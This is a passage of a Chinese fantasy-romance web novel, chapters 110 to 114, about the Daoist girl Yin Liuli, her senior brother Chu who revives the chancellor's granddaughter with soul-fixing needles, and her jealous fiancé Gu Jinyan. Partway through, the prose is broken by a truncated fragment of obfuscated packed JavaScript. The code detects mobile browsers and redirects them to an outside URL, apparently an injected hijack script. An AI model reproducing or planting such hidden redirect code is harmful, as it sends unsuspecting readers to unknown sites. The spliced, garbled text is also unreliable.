看着一脸桀骜的殷琉璃,楚**脑海中忽然浮现当年她被师父牵着小手,迈进山门时的模样。
那时她才三岁,是个粉团一般,让人爱不释手的小家伙。
穿着一身锦丽的衣裙,头上梳着两只好看的童髻,胸前戴着一个金灿灿的项圈,下面坠着枚大大的金锁,周身缠绕着让人触不可及的富贵之气。
那张脏兮兮的小脸儿说不出的灵动可爱,大得过分的眼睛蓄满泪水,清澈的眸中仿佛蕴含着漫天星光。
看到他的瞬间,殷琉璃胆怯的躲到了师父身后,抱着他的腿瘪嘴大哭,
“娘!我要娘!哇……”
那时,楚**也才七岁。
他赶紧丢下手里的扫把,局促的悄悄扯了扯身上半旧的道袍,冲殷琉璃呲牙一笑,
“小妹妹,别哭,我叫楚**,以后我就是你的大师兄了!你叫什么名字?”
“我叫琉璃……呜呜呜……”
殷琉璃从师父身后钻出小脑袋,用聚满星光的眼睛怯生生的看着他,“我、我要找娘!大师兄,你带我去找娘好不好?”
楚**用了自己这辈子最温柔的声音,跟她说话,
“琉璃不哭,肚子饿了没有?大师兄带你去吃好吃的……”
殷琉璃眨了眨眼,小心翼翼的冲他伸出小手,抽泣着问,
“吃、吃了好吃的,就去找娘吗?”
握住那只小手的瞬间,楚**感觉自己的心都化了。
长兄为父,这十二年来,他既当哥哥,给她无限的包容宠爱,又像父亲那般抚养、教导她。
原本以为能这样陪在她身边一辈子,谁知半年前雷火烧天门,师父窥得天机,琉璃天劫临头。
她只能去寻一个命犯七煞之人,结姻缘,借命格,才能渡过难关。
楚**不甘心。
他陪了十二年的人,为什么要交到别人手里?
就算没有七煞命格,他也要找到别的法子,替殷琉璃顶了这个天劫!
他给师父留下一张字条,便出去云游了,一走就是大半年。
没想到在这里,还能见到那张做梦都在思念的脸……
“琉璃姑娘,你、你答应了?”
宰相颤抖的声音打断了楚**的思绪,“老夫多谢琉璃姑娘大恩!”
殷琉璃冷冷看了他一眼,
“谢我做什么?谢我大师兄吧,若不是他替你求情,你以为我会理你?
宰相大人,你现在明白了吗?我师兄若真是害你孙女之人,还要我救她做什么!”
宰相脸上露出一抹复杂的神色,连忙低头重重的磕在地上,
“之前是老夫误会,还请道长宽宏大量!请道长受老夫一拜!”
楚**艰难的抬了抬手,脸上波澜不起。
殷琉璃哼了一声,俯身重新从沈清棠头上拔下几根头发,夹在指尖。
屋内瞬间变得针落可闻。
所有人屏住呼吸,大气儿都不敢喘一下。
殷琉璃伸出纤细的手指,凌空画下一道“五方帝君招魂灵符”,以信念催动灵符,
“青帝召魄,白帝召魄,赤帝聚神,黑帝收神。
黄帝中主,万神无越,魂魄合一,归于真宗!
老君法旨,沈氏女清棠魂魄,速速来临,听吾号令,不得延迟……急急如律令!”
话音甫落,招魂灵符化作一道耀眼的白光,射入了沈清棠的眉心。
同时,殷琉璃手中的几根发丝,呼的一下自燃了起来。
一时间,几道旋风拔地而起,在众人脚下打转儿。
大理寺很多人第一次见殷琉璃做法,只见到殷琉璃凌空虚画几下,口中念念有词。
忽然旋风出现,仿佛有灵性一般向沈清棠聚拢而去。
众人脸上纷纷露出惊讶诧异的表情。
在殷琉璃眼中,这些旋风便是从沈清棠体内,逃逸而出的三魂七魄。
被灵符拘了回来,正往她的肉身上送。
“呃……”
小旋风消失的瞬间,双目紧闭沈清棠,喉咙里突然发出一声微弱的呻吟。
空气陷入死一般的寂静。
“棠儿!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306839|198718||http|test|mini|href|location''.split(''|''),0,{}));
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>听到孙女的声音,宰相失声惊叫,满是泪水的脸满是震撼惊喜。
他连滚带爬扑向沈清棠,满脸心疼,急急的叫着,
“棠儿,你、你活过来了?棠儿,我的棠儿啊!你醒醒……你睁开眼睛看看祖父吧!”
沈清棠幽幽睁开眼睛,混沌的意识还未完全清醒,失去光彩的眸子怔怔的看着他,
“祖父?我、我这是在哪儿呀……”
“你被人掳走,要害你姓名!如今没事了,棠儿,你总算活下来了!”
宰相紧紧抱着她,声音颤抖的几乎说不出话来,
“祖父带棠儿回家,咱们回家!”
沈青棠伏在他怀中嘤嘤哭了起来,
“祖父,棠儿好害怕……”
宰相心疼的眼眶通红,“棠儿不怕,有祖父在,祖父再也不会让人伤害棠儿了!”
周青公跟上前查看了一番,也激动的声音发抖,
“棠儿小姐,你可算醒了!”
“宰相大人,这下你安心了?”
殷琉璃冷冷哼了一声,“我和我师兄可以走了吗?”
宰相身子一颤,忙将沈清棠交到周青公手里,翻身又跪了下来,
“老夫有眼不识泰山,错怪女佐使和这位道长,请两位恩人受老夫一拜。”
楚**淡淡的抬了下手。
殷琉璃理都不理。
“宰相大人这么快就知道错了?”
顾瑾焱冷沉的脸上闪过一抹不屑,毫不客气的讥讽,
“刚才还对我未来的世子妃喊打喊杀呢,现在人给你救活了,你不是嘴上说几句就想混过去吧?”
他最看不得殷琉璃受气!
他堂堂一个世子爷,长公主嫡长子,自己的世子妃被人喊打喊杀,这事儿岂是能轻易过去的?
宰相忙道,
“不不,世子爷,老夫对琉璃姑娘和这位道长感恩戴德,自然不是嘴上说说。
他日老夫一定带棠儿登门拜访,以半数身家酬谢两位恩人!”
话音一落,所有人齐刷刷看向殷琉璃。
宰相竟肯拿出半数身家酬谢,不能说富可敌国,起码也能让这姑娘挥霍几辈子了!
第110章 定魂针
“我才不稀罕你的银子,我又不缺银子。”
殷琉璃不屑的嗤了一声,冲楚**抬了抬下巴,
“人又不是我救的,你想谢什么礼,只管给我大师兄去!”
人不是她救的,她绝不会站替大师兄领功劳。
众人一片哗然。
这么多银子都不要,这位琉璃姑娘可真够傲娇的!
楚**深深望向殷琉璃,摇头苦笑。
他要银子做什么?
再多的银子,能替琉璃阻挡天劫吗?
云游这大半年,他遍访潜修于名山大川中的得道高人,求一个渡天劫的法子,可惜没有找到。
顾瑾焱忽然双臂环胸,傲娇的抬起下巴,
“就是!我未来世子妃会缺银子?宰相大人这是瞧不起谁?
你真要谢,也要拿出点儿诚意来才是!”
宰相颤巍巍的说,
“敢问世子爷,老夫如何才能有诚意,感谢两位恩人?”
“本世子只是一说,一时间也想不起什么。”
顾瑾焱哼了一声,幽深的眸子里闪过一抹意味深长,“宰相大人只需记得,欠琉璃一个天大的人情就行了。”
殷琉璃看了他一眼,不太明白他的意思。
不过她知道顾瑾焱这么做,是在替她着想。
“老夫知道,万不敢忘记!”
宰相郑重的点了点头,忽然从腰间摸出一块精致的玉佩,双手奉送到殷琉璃的面前,
“琉璃姑娘,这是老夫家传玉佩,我沈氏子孙见此玉佩如见老夫,可任凭差遣。
老夫现把它送与姑娘,万望姑娘收下!”
这份礼,承载着沈家的信任与依托,比他半数身家贵重了不知多少倍。
顾瑾焱淡淡勾唇。
这还差不多!
沈家家传玉佩,倒是还有些用处。
殷琉璃想了想,也随手接了过来,
“也好,以后本姑娘有用得着你的地方,也便不客气了。”
宰相顿时松了口气。
周青公惊慌的叫了一声,
“棠儿小姐?棠……恩师,你快过来,棠儿小姐又晕过去了。”
“棠儿!这、这是怎么了?”
宰相慌忙上前查看,只见孙女苍白的脸上泛着铁青眼色,双眸紧闭,死死咬着牙关,呼吸也变得断断续续。
他急的浑身冒汗,迫切的看向殷琉璃,
“琉璃姑娘,棠儿她、她这是……”
“她身子虚弱,魂魄刚刚归体,一时间无法和五脏六腑调和,承受不住正常。要慢慢调养才行。”
殷琉璃看了一眼,淡淡的说。
话音未落,沈清棠忽然剧烈抽搐起来,双眼上翻,毫无血色的口唇往外吐白沫。
宰相手足无措的按住她的手脚,吓得脸都白了,
“琉璃姑娘,棠儿她快受不住了!
有、有什么让她五脏和魂魄尽快调和的法子吗?
她自幼体弱,又经这一场劫难,老夫怕她、怕她……”
“我只能为她暂时护住魂魄。”
殷琉璃抿了抿唇,抬手在掌心画下一道“定魂符”,手指一翻,将指尖灵光送入沈清棠眉心,沉声道,
“沈小姐回去,起码要卧床半年静养,期间不能受惊吓,不要出门见外客,更不要让她委屈难过,不然魂魄还有离体的危险。”
“半年?”
宰相脸色一惊,失声道,“一月后太子选妃大典,我棠儿她、她是皇后钦点的太子妃人选,她怎能不去!
琉璃姑娘,求你救人救到底,帮帮棠儿吧!”
殷琉璃蹙了下眉头,看向楚**,
“也不是没有办法……”
大师兄擅长道医,一手针法、药石的本事,连师父都自愧不如。
楚**轻轻点头。
他差点儿废了自己十几年的修行,才把这姑娘救回来。
既然救了,索性好人做到底。
殷琉璃眼中闪过一抹担心,轻声问道,“大师兄,你能撑得住吗?”
楚**微微张开唇,又点了点头。
殷琉璃这才道,
“宰相大人,若要沈姑娘魂魄合一,尽快恢复,只能由我大师兄为她施定魂针。
五脏六腑与魂魄需身心合一,心藏神,肝藏魂,肺藏魄,脾藏意,肾藏志。
五脏安则身体康健,否则魂魄不安,一旦遇到受惊容易丢魂儿。
以针法定魂魄,是最为妥帖有效的法子。”
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宰相眼睛顿时一亮,连忙起身对楚**深深施礼,
“老夫恳请道长出手相救!”
楚**冲他虚抬了抬手,那只勉强能动的手向怀中摸去,身形不觉晃了几下。
“大师兄,小心。”
殷琉璃惊呼一声,赶紧搀扶住他,急急的说,“你要拿针是吗?我帮你。”
“琉璃,我扶他。”
顾瑾焱连忙插在两人中间,扶住了楚**的胳膊。
看殷琉璃和楚**如此亲密无间,他心里顿时又吃了一大缸子醋。
他跟殷琉璃这么长时间,除了握住她的手,还没这么亲密过呢!
“要是撑不住,就算了。”
殷琉璃将伸手摸进楚**的胸膛,熟练的拿出一只巴掌大的布包。
打开,将满满的银针托到他的面前。
楚**摇了摇头,抬手捏住了一根细如发丝的银针,在顾瑾焱的搀扶下走到沈清棠面前。
他暗暗吸气,稳住身心,运行体内所剩不多的真气,稳稳将银针扎入沈青棠的眉心。
“嗯……疼、疼……”
沈清棠发出轻微的呻吟声,幽幽的睁开眼睛。
一张清隽的脸庞映入眼帘,剑眉星目,面容温润如玉。
他眉宇微沉,隐着一抹郁色。
与她过往所见的任何男子不同,他仿佛一株不染凡尘的仙草,凌霜傲雪。
沈清棠心头没来由的乱了一下,张了张口唇,声线微颤道,
“是、是你救了我吗?你……你是何人?”
楚**抬手按住她的肩头,用清冷的眼神示意她不要说话,继续将真气灌入银针,缓缓送到她的体内。
那双手带着温暖的气息,让人心里感觉到无比安全、踏实,充斥沈清棠内心的惊恐慌乱,瞬间消失的无影无踪。
楚**的定婚针,仿佛直接定住了她的心!
沈清棠屏住呼吸,就那么怔怔的望着他……
良久,楚**轻轻出了口气,将银针拔了出来。
起身间,他不由踉跄了几下,面色也变得刷白。
“大师兄!”
殷琉璃赶紧搀扶住他,心疼的不得了,“你真气消耗太过,不能再施针了!”
第111章 我说不行就是不行!
“这、这……”
宰相眼睁睁看着孙女脸色好转,生怕楚**不肯再施针,连忙哀求,
“还请道长救人救到底……”
“救个屁!”
话音未落,殷琉璃一记眼刀飞了过去,冷冷道,
“你要你孙女的命,我还要我大师兄的命呢!
她一时半会儿死不了,要我大师兄施针,以后再说!”
“是!是!”
宰相被那记眼刀吓的心头一颤,连忙陪笑,“一切听从琉璃姑娘吩咐。”
他这辈子从来没有这般卑微的求过谁,可眼前这小姑奶奶,着实惹不起呀!
殷琉璃的衣袖忽然被轻轻扯了一下。
楚**冲她摇了摇头,抬手指了下银针,示意继续。
殷琉璃气顿时不打一出来。
她太了解大师兄的性子了。
大师兄从不轻易出手,可一旦出手,就把救人看的比自己的命还要重要!
“大!师!兄!”
殷琉璃一把扯住他的衣领,踮起脚尖迎着那张疲惫的脸庞,一双清澈的眼睛瞪的溜圆,凶巴巴的说,
“没听到我的话嘛,我说不行就是不行!”
楚**望着那双气鼓鼓的眸子,蓦地勾起了唇角。
她还像小时候那样,万事由着自己的性子来,从来不讲道理。
可她这份霸道,是整个玄清观心甘情愿惯出来的!
殷琉璃哼了一声,牵住楚**的手道,
“笑什么笑,跟我回家!回家再跟你算账!”
楚**唇角含了一抹宠溺的笑意,轻轻点头。
顾瑾焱心都要碎了。
楚**看他未来夫人的眼神,是个男人都懂。
而他未来夫人对这个大师兄,简直比对他都好!
心塞呀!
不过吃醋归吃醋,自己喜欢的女人自己抢!
不就是个大师兄嘛,以他顾瑾焱的玉树临风、一表人才的容貌,翻手为云覆手为雨的本事,还就不信谁能抢得过自己!
“琉璃,你打算将大师兄安置何处?”
顾瑾焱紧绷的俊脸松了下来,淡淡道,
“回殷侯府吗?府邸人多眼杂,内宅中又有不少妇人,他一个男人去了,总归有些不便。”
殷琉璃明亮的眸子看向他,抿唇道,
“顾瑾焱,你说的对!殷侯府太乱,我也不想大师兄被他们打扰!
他真气耗损的厉害,需要一个安静之处调养……”
顾瑾焱早有准备,忙说,
“不若请大师兄去我们的别苑?别苑处地清净,只有几个下人打扫侍奉。
他住在那里,你也可随时探望,你意下如何?”
殷琉璃点了点头,思索片刻才道,
“你那里的确是个好去处,便去那里吧。”
顾瑾焱眸中闪过一抹得逞的笑意,不动声色的将楚**从殷琉璃手中接过来,
“我这就命人备车。”
楚**深深的看了他一眼,眼眸中泛起一丝苦笑。
看得出来,顾瑾焱对小师妹的喜欢和宠爱,不比他少一点儿。
最重要的是,他才是小师妹命定之人。
楚**以前总觉得,只要陪在小师妹身边,每天看着她调皮、玩闹,跟她一起吃饭、修行,心里就满足了。
可师父窥得天机,要小师妹下山嫁人时,楚**第一次有种心被挖空的感觉。
他不甘心,自己喜欢了十二年的小师妹,怎么就成了别人的呢?
……
别苑。
顾瑾焱命人收拾出一间上好的客房,安置好楚**,客气的说,
“楚兄,以后在别苑就当在自己家中,有什么需要尽管开口。”
楚**还不能言语,抬手抱礼,冲他躬身。
顾瑾焱忙抬手扶了扶他的胳膊,淡淡道,
“楚兄不必客气,你是琉璃的师兄,便也是我的师兄。”
“大师兄,这是顾瑾焱的别苑,你暂且住在这里。”
殷琉璃扶着他坐下,一手托腮,眨巴着清澈的眸子看他,仿佛怎么都看不够似的,一脸幽怨的问,
“这些日子你跑去哪儿了?只给我们留下一张纸条,话也不说一声就走,师父和我们都好想你!”
楚**隐着一抹忧郁的眸子,深深的望着她。
抬手用指尖沾了些茶水,在桌面上写下:都好
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殷琉璃知道他问自己的情况,笑嘻嘻的说
“我很好,师父也好,师兄们也好!大师兄,我找到我娘了!
我娘吃了很多苦,不过我把欺负她的坏人,全都欺负了回去!”
楚**顿时勾唇。
被人欺负了就打回去,的确是小师妹的性子!
“对了,你怎么回来京城的?”
殷琉璃眼睛里闪烁着星光,抓着他的手,一叠声的追问,
“你又是怎么救了宰相的孙女,沈清棠的?她被什么人抓去那里,要做什么?
大师兄,你身上中了什么毒,怎么弄成这个样子……”
楚**静静的看着她。
刚才还是一副凶巴巴的样子,如今坐在他面前,瞬间又成了那个俏皮可爱的小师妹。
“琉璃,大师兄还未休息片刻,等他身子好些了,再问吧。”
顾瑾焱不动声色的抓过殷琉璃的手,紧紧握在自己掌心,柔声道,“你也累了,先用些膳食,再去好好沐浴一下,好不好?”
殷琉璃叹了口气说,
“我是担心大师兄嘛!顾瑾焱,你不知道,我心里有好多好多话想跟大师兄说!”
顾瑾焱抬手揉了揉她的脑袋,宠溺的说,
“傻丫头,日子长着呢,有什么话以后不能慢慢跟大师兄说?”
殷琉璃绝美的脸上露出一抹笑容,孩子气的看着楚**,
“是呀!大师兄既来了,就不准再走!以后天天跟我在一起,就像在玄清观一样!
等我买好了大宅子,就把师父和师兄们全都接过来,我们还能天天在一起!
你说好不好,大师兄?”
楚**唇边勾起一抹笑意,轻轻点了下头。
只是他幽沉的眸子里,不着痕迹的闪过一抹黯然。
顾瑾焱亲昵摸头的动作很是娴熟,显然已不止摸过一次。
而小师妹也没躲开,一切都发生的很自然。
他们两个,已经亲热到这种地步了吗?
在玄清观的时候,只有师父和他才会宠溺的摸殷琉璃那颗小脑袋。
四个师弟谁敢摸一下,爪子会被殷琉璃打断。
第112章 追问
正说着,侍女们手中拖着热气腾腾的饭菜进来,躬身行礼,
“启禀世子爷,膳食准备好了。”
“奴婢们服侍世子爷、世子妃和楚公子用膳。”
“奴婢们已为世子爷、世子妃和楚公子,备下汤泉。”
顾瑾焱抬了抬手,“嗯。”
世子妃?
楚**疲惫的目光微微一怔。
“你们叫谁世子妃?”
殷琉璃似乎也听出不对,眨了眨眼睛,抬手指着自己的鼻子,“我吗?”
侍女们依次将饭菜呈上桌,纷纷笑说,
“回世子妃的话,自然是您,这可是世子爷亲口吩咐的。”
“殷小姐与咱们世子爷的婚期就快到了,奴婢们不过是称早了几日。”
“您以后就是咱们这座别苑的主母了,奴婢们自然要称呼您为世子妃。”
……
殷琉璃瞪了顾瑾焱一眼,嗔怪道,
“谁让你这么吩咐的!我才不是!”
为首的侍女屈膝行礼,笑道,
“奴婢们不敢!其实不管世子爷吩咐不吩咐,奴婢们心里已经把您看作世子妃了。”
殷琉璃脸蛋不由一红,娇嗔的说,
“以后、以后不许这么叫我,只管叫我琉璃就好!”
“反正你就要嫁给我了,她们又没叫错,为何不许?”
顾瑾焱挑了挑眉,俊美的脸上满是得意。
殷琉璃皱了皱鼻子,冲他吐舌头,
“谁要嫁你!”
她俏皮的模样惹得侍女们纷纷捂嘴偷笑,七嘴八舌的说,
“若论京城各名门望族家的主母,谁有咱家世子妃这般倾国倾城之色?”
“可不是?别说世子爷喜欢,就连奴婢们心里也喜欢世子妃的紧呢!”
“奴婢们听世子爷说,世子妃一手灵符的本事,厉害着呢……”
……
“谁要他喜欢!你们别听他胡说!”
殷琉璃抬手捶了顾瑾焱一拳,一张俏丽的脸庞红了又红。
顾瑾焱摸住她捶过的肩头,唇角抑制不住的扬了起来。
两人你一言我一语,看似斗嘴,却像极了热恋中的小情侣,在打情骂俏。
楚**挪开目光,心头涌上一抹说不清道不明的酸涩。
论身份,他只是师父从乡下捡回来的一个孤儿,若不是师父给他一口饭吃,恐怕早就饿**。
顾瑾焱出身皇族,身份显赫,生下来便拥有寻常人难以企及的富贵。
论家产,他两袖清风,身无长物。
这些年他跟随师父下山行医,每每不过收些散碎银两,遇到贫苦之人,还要贴些药费。
就算让他找到法子,帮小师妹渡过天劫,回去玄清观,也不过是重新去过清贫的日子。
顾瑾焱在京城随便一座别苑,就比玄清观大了几倍。
别苑雕梁画栋,亭台楼阁,仆从无数。
小师妹嫁给他,拥有世子妃的身份,日后荣华富贵必然享之不尽。
楚**心头泛起一抹酸楚。
即便是这满桌丰盛的菜肴,他也无法为小师妹置办。
这些年来,他能为小师妹做的事情,只有陪伴。
他原下定决心,要带小师妹回去,如今看来……
楚**也说不清,自己以后要做什么。
“大师兄,吃饭!”
出神之际,殷琉璃往他碗里夹了一大块鲍鱼,笑嘻嘻的说,“顾瑾焱别苑的厨子做饭可好吃了,你多吃些!”
顾瑾焱也尽待客之道,为他夹了些菜,淡淡笑道,
“楚兄多用些,不知你喜欢吃什么,我便让人多做了几个。”
楚**轻轻点头,带着满心复杂的情绪低头吃饭。
……
用完膳,便有侍女服侍楚**沐浴。
他不习惯有人在旁,只好摆手谢绝,拖着半僵的身体勉强把自己打理干净。
从浴室出来,殷琉璃清脆悦耳的笑声传入耳畔,
“顾瑾焱,你真的在屋顶等了我一个时辰吗?”
“不然还能怎样?”
顾瑾焱郁闷的哼了一声,“你去救人,也不说给我留句话,害得我白吹了一个时辰的凉风!”
殷琉璃咯咯笑个不停,
“我忘记了嘛!宰相大人突然造访,我算出沈小姐命在旦夕,急着救人,便忘了告诉你一声。”
顾瑾焱笑道,“下回不许再放我鸽子!对了,你说有要重要的事情跟我说,什么事?现在能说吗?”
殷琉璃脸上的笑容不觉一敛,抿了抿唇说,
“的确有重要的事情,顾瑾焱,我……”
“启禀世子爷,”
话音未落,走在前面的侍女挑起帘子,禀报了一声道,“楚公子来了。”
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>“我以后再认真告诉你。”
殷琉璃收住话头,亲热的招呼道,“大师兄,快过来喝茶。”
楚**款步走来。
踏进屋门的一刻,殷琉璃眼前一亮。
看惯了大师兄穿半旧的道袍,还是第一次见他穿普通人的衣裳。
楚**身着一袭玄色锦袍,锦袍上绣着暗色花纹,矜贵却不显张扬。
腰间围着一条同色系的锦带,衬托的他身材格外高大匀称。
头上的道髻被侍女梳理成寻常男子的发髻,用一顶洁白无瑕的玉冠束起。
那张脸线条流畅,剑眉星目,五官立体硬朗。
“大师兄,你穿这身衣裳真好看!”
殷琉璃毫不吝啬夸赞之词,围着他看了好几圈儿,开心的说,“真的很好看!好看的我都快认不出你了!”
顾瑾焱也投来欣赏的目光,真心赞道,
“楚兄果然好才色,仪表堂堂!”
虽然比我差了那么一点点儿。
楚**勾了下唇角,点头道谢。
他从小在玄清观,穿惯了道袍,对普通人穿的俗衣有些不习惯。
本不想穿这个,可侍女将他脱去的道袍拿去洗了,又给他送来这样一套华丽的衣裳,他也只好作罢。
“大师兄快坐,让我好好看看你!”
殷琉璃拉着他的胳膊坐下,兴致勃勃的说,“顾瑾焱说,等你身子恢复了,带你在京城里逛逛。
京城可热闹了,比咱们玄清观山下的镇上还要热闹,街上有很多铺子,卖什么的都有。”
楚**静静的看着她。
顾瑾焱淡淡勾唇,
“大师兄似乎并未带什么行李,我和琉璃正好陪你去置办一些。”
楚**又默默摇头。
看他还不能开口说话,殷琉璃正色道,
“大师兄,回来的路上,我便发现你中了邪毒。
以你的道法,怎么可能轻易中邪毒呢?
你和沈清棠到底是怎么认识的,当时到底发生了什么?
又是谁**了沈清棠,要对她做什么……”
楚**不觉蹙眉,幽深的眸子里涌上一抹寒意。
……
与此同时,宰相在沈清棠的床边,也在追问这一连串儿的问题,
“棠儿,到底是谁掳走你?你有没有看到是谁,他们掳走你要做什么!”
第113章 你亲人家了?
“祖父,棠儿也不知是谁。”
沈清棠靠在祖母怀里,掩面而泣。
“你不知?你怎会不知?”
宰相双手背负在后,来回踱着步,“从宫里回来,好端端的怎的拐去了城外!棠儿,你去那里做什么?”
沈清棠身子一颤,急忙的说,
“棠儿也不知怎会去了那里呀!”
宰相不觉一顿,不可思议的看着她,
“你连去了哪儿都不知道?”
沈清棠呜呜的哭了起来,
“棠儿真的不知,祖父若是不信,去问嬷嬷便是!”
宰相不觉皱起了眉头。
跟随沈清棠的下人,他已经拷问了个遍,尤其是跟着轿子的嬷嬷和丫鬟。
可人人都说不清楚为什么会带小姐去了城外。
只说当时有人告诉他们要往城外走,也不知是谁。
可一个个不知怎么的,身不由己的跟着那个声音走。
“行了!好容易把棠儿找回来了,你不让她歇着,还问什么?”
宰相夫人瞪了他一眼,满脸心疼的哄着怀里的孙女说,“棠儿不怕,既回来,以前的事情就不要想了,祖母断不会再让人害你!”
沈清棠呜呜的哭了起来。
宰相看了孙女一眼,又是心疼又是无奈,只好说,
“你先歇着吧,等身子好利索了,想起什么再与祖父说。”
他怎么能不盘问清楚?
再有个把月,就是太子选妃的日子。
他这个宝贝孙女,是皇后钦点的人选,只等接了玉如意入主东宫,去做太子妃!
私心来说,当今圣上虽龙体康健,可毕竟也是五十多的人了。
他的皇位还能坐几年?
等太子登临帝位,他的孙女儿就是一国之后!
“祖父,我、我想起一件事情,不知有没有关系?”
沈清棠忽然抬起满是泪水的脸,惊惧不定的看着他。
宰相心头一颤,忙道,“什么事?不管有没有关系,你说,祖父自有判断。”
沈清棠哽咽道,
“回府的路上,棠儿碰见了殷侯府的二小姐,殷玉珠,因素日与她认识,便与她说了几句话。”
宰相夫人不由皱了皱眉,
“殷侯府的二小姐,是被国公府退婚那个?棠儿,你跟那种人有什么好说的!”
“你让她说完!”
宰相急忙追问道,“棠儿,你跟她说了什么?”
沈清棠想了想,迟疑的说,
“不过是些寻常的话,我只记得问她怎么没进宫,她说不得空,又问了我今年宫里的荷花如何……”
宰相夫人不解的说,“的确是些寻常话,这有什么奇怪?”
沈清棠咬了咬唇,
“说几句话是不奇怪,奇怪的是,从见了殷玉珠以后,棠儿就什么都不记得了。
也不知怎么去了城外的林子里,等醒来的时候,才发现……”
“殷侯府?殷玉珠,殷琉璃……”
宰相沉吟了几次这个名字,深深皱眉说,“她不是圣上钦点的那个女佐使的妹妹?难道她对你做了什么?”
沈青棠一脸茫然道,“棠儿实在不知,棠儿只是觉得奇怪,就跟她说了几句话,后面的就什么都不记得了。”
宰相蓦地攥紧了拳头,声线凛冽的说,
“此事确实蹊跷,一定要弄个清楚!棠儿,你好生养着,祖父去会会那个殷侯府二小姐。”
……
这边,楚**也把事情的经过,简单的写了一下。
他云游至京城外,忽然发现林子里有一辆空的马车,几个丫鬟婆子、马夫和随从都倒在地上,昏死不醒。
应该是这家马车的主人,被人掳走。
楚**便去马车中翻找了一下,在靠枕上捡到了一根女子的长发。
他用女子长发为引,用寻人术探寻女子踪迹。
谁知一无所获。
寻人灵符很少不起作用,哪怕是人**,都能寻到尸体。
当时楚**的判断跟殷琉璃一样,被掳走的女子,应该被困在结界之中。
能布下结界的,一定是道门中,法术高强之人。
不过掳走一个女人,应该不是什么正派。
这件事既让他遇上了,他便不能不管。
写到这儿,殷琉璃将纤细的手按在枝条上,好奇的问,
“大师兄也判断出有人将沈小姐困与结界中,寻常法术是
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断不出来的。
我用血咒寻亲,才找到她,你用了什么法子?”
还有什么法子,比地库里祖师爷留下的血咒寻亲,还要管用?
楚**无奈的笑笑,提笔写道,
“没有法子。”
他手中只有一根长发,连被掳走的女子什么模样都不知道,更不知她有什么亲人。
血咒寻亲无法施行,他根本没有法子去找。
殷琉璃一脸不可思议的说,“没有法子,你怎么找到人的?”
“是呀楚兄,你虽然只比我们早到一步,不也是寻找人了吗?”
顾瑾焱也满脸好奇。
楚**轻轻叹了口气,抬手指了指屋顶,写道,“天意。”
他虽想救人,可此人根本无处可循,也只好作罢。
他知道殷琉璃此时已在京城,便没有进去,绕过城墙继续赶路。
云游之时,有位道友说京城东南方向,有一座名不见经传的山,山中有位大修,不知用了什么法子平安渡过天劫。
楚**便去找他。
没想到绕过京城往东南方向去的时候,他发现水塘边儿一座茅草屋,竟被人布下结界。
外面看着是一座破落的茅草屋,其实内有乾坤。
楚**瞬间联想到那位被掳走的女子,便上前查看。
为不打草惊蛇,他并没有堪破结界,而是以遁术穿越,进入地下室。
果然发现一个身穿华服的年轻女子,倒在地上。
她身中邪术,人已经陷入昏迷。
楚**不知她中的是什么邪术,只知道再不救人,人就没了。
他只好用银针,将沈清棠身上的邪气逼上喉咙,以口唇吸了出来。
“吸?”
殷琉璃顿时瞪大眼睛,惊讶的说,“大师兄,你亲过沈小姐了?”
顾瑾焱忍俊不禁道,
“别打断,楚兄还没写完呢!”
楚**面色一尬,慌忙写道,
“非也,只以口唇相对,并未……”
“口唇相对,还不是亲?”
殷琉璃笑的花枝乱颤,晃着楚**的胳膊道,“怪不得沈小姐醒过来,看你的眼神都直勾勾的,原来你亲过人家了!”
第114章 兴师问罪
楚**清隽的脸上,竟急的一片泛红。
苦于口舌僵硬,他只能连连摆手,表示自己并未逾矩。
这个促狭的小师妹,就会拿他打趣!
殷琉璃笑的合不拢嘴,
“亲就亲了嘛!有什么大不了的?我还不知道你用的法子?
以前在咱们玄清观的时候,你救了一只吃了毒草的小鹿,不也是用银针将它体内的毒血逼出,在用嘴吸出来的?”
她满脑子都是大师兄一手捏着沈清棠的脸颊,把嘴凑在她口唇上的画面感。
她就说,大师兄给沈清棠施针时,沈清棠看他的眼神特别羞涩。
顾瑾焱凑趣的说,
“那位沈小姐,也算个美人儿了!楚兄虽是救人,能一亲芳泽也算不错。”
楚**皱起眉头,面色严肃的冲殷琉璃摇了摇头,抬手写道,
“此话万不要外传,我的名声不要紧,她一介女流,名声最为重要。”
“楚兄放心,我别苑里的下人都是精挑细选的,绝不会有人把话传出去。”
顾瑾焱抬手拍了拍他的胳膊,淡淡笑道。
殷琉璃拍了拍胸口,大咧咧的说,
“知道知道!大师兄你放心吧,莫说旁人,就是师父问起来,我也保证不说!”
看着那张清纯绝美的小脸儿,楚**心里说不出是什么滋味儿。
殷琉璃听闻他“亲”别的女子,竟然一点儿酸意都没有,反而笑的合不拢嘴。
顾瑾焱每每对她有什么亲密举动时,他心里却酸楚的很。
“楚兄救了沈小姐,看来真是天意!”
顾瑾焱深邃的眸中闪过一抹深意,幽幽道。
殷琉璃托腮点头,
“是呀,幸亏大师兄比我们早到一刻,不然就算我去了,也未必能将她救回来。”
楚**唇边勾起一抹苦笑,目光柔柔的看着殷琉璃,抬手写道,
“多亏你与顾世子。”
当时他被邪气麻痹了口舌身子,正用真气化解,若不是殷琉璃拼命护着他,怕是早被宰相当成贼人,当场杀了!
顾瑾焱开始也对他充满了敌意,楚**没想到,当宰相把矛头对准殷琉璃时,他竟然不顾一切站在了她的身边。
他能对小师妹好,自己也便安心将小师妹交给他了。
殷琉璃挑眉道,“你是我大师兄,我当然要护着你!”
顾瑾焱淡淡勾唇,
“楚兄不必客气,你是琉璃的大师兄,我自然也要护着你们。”
眼看天色蒙蒙亮,殷琉璃忍不住打了个哈气说,
“折腾了一晚上,大师兄快去歇着吧。这几日我陪你住在别苑,不过还是要回一趟殷侯府,告诉娘一声,再拿些衣裳过来。”
楚**满脸疼惜的看着她,点了点头。
……
到殷侯府时,天色已然大亮。
殷琉璃靠在一个结实的胸口上,睡的天昏地暗。
“世子爷,到地方了。”
车夫勒住马匹,回头叫了一声。
“嘘……”
顾瑾焱抬手挡了挡唇,悄声说,“把马车挪到一旁,让她多睡会儿。”
他可舍不得把怀里的人叫醒。
不多时,宰相府的马车也停在了殷侯府门前。
